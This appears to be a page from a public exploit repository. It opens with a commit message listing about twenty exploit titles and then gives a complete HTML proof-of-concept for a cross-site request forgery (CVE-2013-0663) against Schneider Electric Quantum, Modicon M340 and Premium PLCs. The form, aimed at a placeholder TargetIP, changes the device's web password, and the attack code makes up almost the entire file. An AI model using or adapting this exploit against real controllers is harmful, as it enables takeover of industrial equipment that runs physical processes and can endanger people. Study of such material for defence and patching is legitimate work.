08c35595ed
23 changes to exploits/shellcodes Linux 2.6.30 < 2.6.36-rc8 - Reliable Datagram Sockets (RDS) Privilege Escalation (Metasploit) R 3.4.4 - Local Buffer Overflow (DEP Bypass) KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection Adobe Enterprise Manager (AEM) < 6.3 - Remote Code Execution Superfood 1.0 - Multiple Vulnerabilities Private Message PHP Script 2.0 - Persistent Cross-Site Scripting Flippy DamnFacts - Viral Fun Facts Sharing Script 1.1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery Zenar Content Management System - Cross-Site Scripting GitBucket 4.23.1 - Remote Code Execution ManageEngine Recovery Manager Plus 5.3 - Persistent Cross-Site Scripting Siemens SIMATIC S7-1200 CPU - Cross-Site Request Forgery Teradek VidiU Pro 3.0.3 - Cross-Site Request Forgery Teradek VidiU Pro 3.0.3 - Server-Side Request Forgery Teradek Cube 7.3.6 - Cross-Site Request Forgery Teradek Slice 7.3.15 - Cross-Site Request Forgery Schneider Electric PLCs - Cross-Site Request Forgery Auto Dealership & Vehicle Showroom WebSys 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Admin Panel Authentication Bypass Merge PACS 7.0 - Cross-Site Request Forgery Model Agency Media House & Model Gallery 1.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Authentication Bypass Wchat PHP AJAX Chat Script 1.5 - Persistent Cross-Site Scripting
103 lines
No EOL
2.2 KiB
Text
103 lines
No EOL
2.2 KiB
Text
# Exploit Title: Schneider Electric PLCs - Cross-Site Request Forgery
|
|
# Date: 2018-05-12
|
|
# Exploit Author: t4rkd3vilz
|
|
# Vendor Homepage: http://www.schneider-electric.com/
|
|
# Tested on: Windows
|
|
# CVE: CVE-2013-0663
|
|
# Version: Schneider Electric Quantum PLC: 140NOE77111, 140NOE77101, 140NWM10000
|
|
# Modicon M340 PLC: BMXNOC0401, BMXNOE0100x, BMXNOE011xx
|
|
# Premium PLC: TSXETY4103, TSXETY5103, and TSXWMY100
|
|
# Category: webapps
|
|
|
|
<html>
|
|
<head>
|
|
<title>CSRF POC</title>
|
|
</head>
|
|
<body>
|
|
<form method="get" action="http://TargetIP/secure/embedded/builtin" name="sample" onSubmit="return validateForm()">
|
|
<table border="0" cellspacing="0" cellpadding="0" width="300" style="height: 100" bgcolor="#C0C0C0">
|
|
<tr>
|
|
<td class="inputCell" width="200">
|
|
<div align="left">
|
|
<h5>Name:</h5>
|
|
<script language="javascript" type="text/javascript">
|
|
<!--//
|
|
paramLang();
|
|
switch(getLanguage())
|
|
{
|
|
|
|
default:
|
|
document.write("Username :"); break;
|
|
}
|
|
//-->
|
|
</script>
|
|
</div>
|
|
</td>
|
|
<td class="inputCell" width="190">
|
|
<input type="text" name="user" size="20">
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="inputCell" width="200">
|
|
<div align="left">&
|
|
<h5>Pass:</h5>
|
|
<script language="javascript" type="text/javascript">
|
|
<!--//
|
|
switch(getLanguage())
|
|
{
|
|
default:
|
|
document.write("New password :"); break;
|
|
}
|
|
//-->
|
|
</script>
|
|
</div>
|
|
</td>
|
|
<td class="inputCell" width="190">
|
|
<input type="password" name="passwd" size="20">
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td class="inputCell" width="200">
|
|
<div align="left">
|
|
<h5>Verify Pass:</h5>
|
|
<script language="javascript" type="text/javascript">
|
|
<!--//
|
|
switch(getLanguage())
|
|
{
|
|
|
|
default:
|
|
document.write("Confirm password :"); break;
|
|
}
|
|
//-->
|
|
</script>
|
|
</div>
|
|
</td>
|
|
<td class="inputCell" width="190">
|
|
<input type="password" name="cnfpasswd" size="20">
|
|
</td>
|
|
</tr>
|
|
</table>
|
|
<br>
|
|
<div align="center">
|
|
<script language="javascript" type="text/javascript">
|
|
<!--//
|
|
switch(getLanguage())
|
|
{
|
|
|
|
default:
|
|
document.write('<input type="submit" name="subhttppwd" value="Change Password">'); break;
|
|
}
|
|
//-->
|
|
</script>
|
|
<input type="submit" name="subhttppwd" value="Change Password">
|
|
</div>
|
|
</form>
|
|
<br>
|
|
</td>
|
|
</tr>
|
|
<tr>
|
|
<td align="center">
|
|
<br>
|
|
|
|
</body>
|
|
</html> |